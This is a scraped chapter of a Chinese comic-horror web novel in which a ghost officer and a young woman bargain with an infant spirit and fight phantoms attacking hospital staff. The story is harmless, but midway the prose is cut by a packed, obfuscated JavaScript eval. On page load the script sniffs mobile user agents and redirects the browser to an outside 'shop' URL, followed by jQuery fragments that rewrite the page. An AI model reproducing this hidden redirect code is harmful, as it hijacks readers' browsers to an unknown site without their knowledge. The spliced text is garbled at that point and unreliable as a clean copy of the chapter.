40. 什么叫真正的鬼差办案
作品:《队友除了帅和馋以外毫无用处》 婴儿王一消失,走廊里那股阴冷黏糊的压迫感总算散了。
夏霖腿一软,整个人往墙上靠,才没直接坐下去。
大约两分钟前,桐老爷出面救了她,强大的气场直接把那怪物吓跑了。
桐老爷一边喝着咖啡,一边看着她嘿嘿一笑:“走桃花运的老头子我见多了,这娃运倒是头一回。”
夏霖嘴角一抽:“说人话。”
“那婴儿王,是无数没睁眼就没了的小东西聚成的,怨气重,但也单纯。”
他斜眼瞟了瞟她肚子,笑得露出一口白牙,“它盯上你这儿了,想蹭个暖和地方住。”
夏霖一把捂住小腹:“住进去?你逗我呢?怀鬼胎啊?”
“急什么,它这不还没进去嘛。”
桐老爷又抽出一把烟杆,撮着烟嘴,吐了个歪歪扭扭的烟圈,“不过话说回来,真要怀了也不错,省得你爷爷死不瞑目。”
“我连男朋友都没有,怀个鬼?这算工伤吧?赔钱!”
“咱部门穷得叮当响,赔钱是没有的……”
桐老爷眼珠子一转,“不过它对你这么执着,这执念……说不定能派上用场。”
夏霖后背一凉:“你又打什么鬼主意?”
“跟它谈个条件呗,让它替王弼进梦焉核心,用它的怨念撑开净化空间,等事儿成了……你就认它当儿子,逢年过节烧点纸尿裤奶粉,齐活。”
墙角悄没声息地多了一团影子,那婴儿王竟然一直在。
夏霖浑身僵住,慢慢扭头。
那坨巨大的阴影此刻看上去更委屈了,细细碎碎的声音钻进她脑子,像几百个小孩同时在说话。
“我帮你救那个人……”
“但是要你一根头发……怕你们骗我……”
夏霖赶紧打断:“我给你找个有钱人家投胎行不?保证你生下来就住别墅坐豪车……”
“不要!”
黑影翻滚起来,黑烟呼呼往外冒,“妈妈,我就要你!别人都不要!”
桐老爷一把将夏霖往后扯了扯:“行啦行啦,别嚎了,再嚎楼下保安该上来了。”
他扭头冲夏霖使了个眼色,“先答应它再说。”
夏霖瞪他:“这不行吧?”
桐老爷转脸就一本正经地对阴影说:“她答应了。”
婴儿王慢慢安静下来,无数眼睛眨巴眨巴:“真没骗我?”
桐老爷拍着胸脯:“我可是地府注册鬼差,信誉杠杠的,上次打麻将欠孟婆五块钱,我说第二天还就第二天还了,骗你是小狗。”
阴影里伸出一堆小手,怯生生地晃。
事已至此,夏霖也只好认栽:“就一根,多了没有。”
婴儿王欢快至极,一缕黑烟缠上她发梢,轻轻一碰就缩回去,像是心满意足。
桐老爷磕着瓜子:“那什么,完事儿了记得请我喝满月酒啊。”
“喝你个头。”
夏霖恨不得踹他一脚。
阴影在原地晃悠半天,才小声说:“好……我帮你救朋友……但是……要等两天。”
“为什么还要等?”
夏霖刚松的气又提起来了。
那重叠的声音忽然软了下来:“因为……要陪妈妈……最后两天,送她走了……我再走。”
“你还有别的妈妈?”
阴影没回答,慢悠悠朝门外飘去。
桐老爷从兜里掏了把瓜子,磕得嘎嘣响:“走,跟上去瞧瞧,啧,这剧情比八点档还精彩。”
两人跟着那团若隐若现的影子,七拐八绕走到住院部另一层。
这一层特别安静,空气里一股消毒水混着药味。
婴儿王停在一间三人病房外,贴着墙不动了,无数双眼睛挤在门上的小窗口,眼巴巴朝里望。
夏霖凑近看了一眼。
靠窗的病床上躺了个年轻女孩,瘦得厉害,脸色苍白,但眉眼很温和。她正侧头看窗外,嘴角带着淡淡的笑。
护士推门进去:“小苏,今天感觉咋样?”
“挺好的。”
女孩声音轻轻柔柔的,“张护士,你今天夜班啊?辛苦啦。”
“不辛苦,啊对了,你明天转院,东西收拾好了没?”
“都收拾好了。”
女孩笑了笑,无意间瞥了眼门口,忽然皱了下眉,“张护士……你有没有觉得……墙角落里好像有什么?”
护士回头看了眼:“没有啊,是不是累了?早点睡吧。”
女孩却还盯着门口,轻声说:“不知为什么……觉得……挺安心的。”
门外那团阴影轻轻发颤,几只想伸出去的小手又怯怯缩回来,像是怕打扰里面的人。
桐老爷啧了一声:“执念化的东西,借了人家的善意成形,如今倒舍不得了,喏,你看那儿。”
顺着他的视线望过去,夏霖这才注意到病房角落飘着几个半透明的游魂。
“只有她……看不见我们……却总在窗台……放米和水……”
桐老爷难得没贫嘴:“善有善报这话偶尔……也不算全错。”
阴影转向他们,声音带着恳求:“等她平安走了……我就跟你们走……”
夏霖看了眼病房里的女孩,又瞥向门外那团影子,没说话,只点了下头。
就在这时,桐老爷突然眯眼看向走廊尽头:“不对劲……走,有幺蛾子!”
两人冲进楼梯间就往楼下跑去,越往下,那股消毒水混着铁锈的血腥味就越浓,呛得人头晕。
墙皮大块大块往下掉,露出后面暗红色,像是血肉的玩意儿。
前面突然传来乱糟糟的脚步声和喊叫:“快!三号备用手术室!病人大出血!”
“麻醉师呢?!”
是医护人员的声音,听动静正在往这边赶。
可前面有东西啊。
夏霖看见走廊尽头漆黑的阴影里,血红色的眼睛亮了起来,比之前的更凶更厉。
“等等!别过去!”
夏霖喊出声就要往前去阻拦那些无辜的人。
桐老爷一把拽住她:“别急,让专业的来。”
说着朝婴儿王的方向扬了扬下巴。
婴儿王的身影浮现在那些红眼前,发出威胁的低吼,庞大的身躯堵在通道中间,居然是在拦那些东西。
桐老爷把夏霖往后一挡,嘴里那截瓜子皮还没吐:“退后退后,这次的怨灵看着就难搞,打完这场,我得申请工伤补贴。”
夏霖看着婴儿王扑上去又抓又挠的打法,忽然明白了:“它是在保护那些医生护士……因为他们是里面那个小苏的同类。”
桐老爷一边护着她后退一边哼唧:“这玩意儿有时候比人还讲感情……不过你看它这打架架势,跟幼儿园抢糖似的。”
夏霖无语。
前面通道里,七八个穿手术服的医护人员正推着设备狂奔。
而他们中间,五六个穿古装,半透明的幻影正在飘来飘去。
推监护仪的男医生突然停住,双手死死掐住自己脖子,脸涨成紫红色,眼珠子往外突。
“张医生?!你咋了?!”
旁边的护士吓得尖叫,却看不见缠在他脖子上的怨气凝成的透明手臂。
桐老爷按住想冲出去的夏霖:“别动,都是幻影,真身不在这儿,你上去也是送菜。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819060|187231||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“那咋办?总不能看着。”
“当然不能。”
桐老爷单手结印,闷哼一声,嘴角渗出血来。
夏霖这才注意到,他后背的衣服已经被暗红色的血浸透了一大片,边缘都发黑了。
“你受伤了?!什么时候的事?”
“刚才在楼梯间不小心沾上了点煞气。”
桐老爷说得跟没事人似的,手上印结没停,“有点麻烦,早知道穿我那件民国款防弹背心了……”
“你怎么不早说?”
“说了有什么用?”
桐老爷斜她一眼,“你跑路都跑不利索,没用的东西。”
他抬手,一道青光射向天花板通风口。
“啊啊啊!”
惨叫声中,缠在医生脖子上的幻影瞬间消散。张医生瘫在地上大口喘气。
夏霖看向桐老爷:“现在咋整?”
桐老爷抹了把嘴角的血:“既然她想玩……那就玩到底。走,咱去会会这位爱躲猫猫的花珑小姐。”
夏霖犹豫:“可你伤这么重……”
“这才哪到哪。”
桐老爷挺直腰板,结果疼得龇牙咧嘴,“……重伤也就歇口气。”
他喘了两下:“我让她见识见识,什么叫老当益壮。”
另一道粉色幻影悄咪咪贴上一个年轻护士。
“哎呀!”
护士脚下一绊,惊叫着往前扑,手里贵重的监护仪直接飞出去,砸向坚硬的地面,她脖子后面,一只煞气凝成的半透明手正在慢慢成形。
“好疼……”
女护士捂着伤口,眼泪直打转。
混乱像传染病似的散开。
第三道幻影故意撞翻无菌推车,手术器械叮叮当当撒一地,差点划伤旁边的医生。
“我的天!这可都是消过毒的!”
年长的医生慌忙蹲下去捡。
第四个幻影发出刺耳的尖笑,声音直接往人脑子里钻,几个年轻护士痛苦地抱头蹲下:“头要炸了……”
第五个,第六个幻影在通道两头闪来闪去。
“这到底怎么回事啊?!为什么大家都……”
他们看不见攻击从哪儿来,只看见同伴一个接一个出事,恐惧迅速蔓延。
“出来!花珑!”
夏霖冲着空荡荡的走廊大吼,“你个只会躲躲藏藏的怂包!有本事冲我来!”
通道里响起重叠的,娇滴滴的笑声,满是嘲讽:“冲你来?小妹妹,你还不够格呢。”
“看看你的桐老爷……他好像……快不行了哦。”
“保护这些蝼蚁,很累吧?”
夏霖猛地转头。
桐老爷还站在原地,烟杆横在胸前,但脸色白得吓人,后背暗红色的血顺着衣角一滴一滴往下掉。
“桐老爷,你……你别吓我……”
老头转过头,冲她咧嘴一笑,虽然那笑容因为疼有点变形:“慌什么……老头子我……什么场面没见过,一会儿要是不对劲……你就跑,别回头。”
“我不……”
“听话。”
桐老爷声音沉了沉,“你在这儿……我放不开手脚,还得操心护着你,累得慌。再说了,要是让何君知道我把他要护的人弄没了,他能把我拆了。”
他重新看向前方翻涌的黑暗,周身气势陡然一变。
那副吊儿郎当的德行彻底没了,取而代之的是一种沉淀了几百年的,属于地府正统鬼差的威严和杀气。
烟杆尖对准黑暗深处。
“现在……让老头子我教教你……”
“什么叫真正的,鬼差办案。”

